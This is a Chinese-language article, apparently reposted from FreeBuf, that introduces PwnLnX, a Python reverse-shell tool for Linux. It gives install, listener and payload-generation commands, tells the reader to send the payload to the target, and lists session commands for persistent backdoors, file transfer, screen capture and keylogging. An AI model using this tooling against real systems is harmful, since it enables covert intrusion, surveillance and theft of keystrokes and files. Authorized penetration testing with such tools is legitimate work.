PwnLnX是一款功能强大的高级多线程、多客户端Python反向Shell,可以帮助广大研究人员对Linux操作系统进行渗透测试。
请广大用户合法合理使用这个反向Shell,请不要在未授权系统上使用该工具。
首先,我们需要在本地设备上安装并配置好Python3环境,然后安装下列模块:
vidstream
pyfiglet
tqdm
mss
termcolor
pyautogui
pyinstaller
pip3
pynput
使用下列命令下载PwnLnX源码:
git clone https://github.com/spectertraww/PwnLnX.gitcd PwnLnX
接下来,下载并安装相应的依赖组件:
chmod +x setup.sh./setup.sh
显示帮助信息:
python3 PwnLnX.py --help
监听传入的连接:
python3 PwnLnX.py --lhost [your localhost ip address] --lport [free port for listening incoming connections]
创建/生成Payload:
chmod +x PwnGen.sh./PwnGen.sh
按照操作步骤,我们就可以成功创建好Payload了,Payload存储在PwnLnX目录中,然后我们需要将创建好的Payload发送给目标用户。
命令 | 使用 |
help | 显示帮助信息 |
exit | 关闭所有的会话并退出程序 |
show sessions | 显示所有可用的会话 |
session [ID] | 使用指定的会话ID进行交互 |
kill [all/ID] | 终止指定的会话或终止所有会话 |
banner | 修改程序Banner |
命令 | 使用 |
help | 显示帮助信息 |
quit | 关闭当前会话 |
background | 当前会话后台运行 |
sysinfo | 获取目标操作系统信息 |
create_persist | 创建一个持久化后门 |
upload | 上传指定文件至目标系统 |
download | 从目标系统下载指定文件 |
screenshot | 获取目标系统桌面截图 |
start_screenshare | 开始桌面共享 |
stop_screenshare | 关闭桌面共享 |
start_keycap | 开始捕捉目标用户键盘记录 |
dump_keycap | 导出/获取捕捉到的键盘记录 |
stop_keycap | 停止键盘记录 |
注意:除了上表中列出的命令之外,我们还可以执行各种Linux系统命令。
PwnLnX:https://github.com/spectertraww/PwnLnX
作者:Alpha_h4ck ,文章转自FreeBuf.COM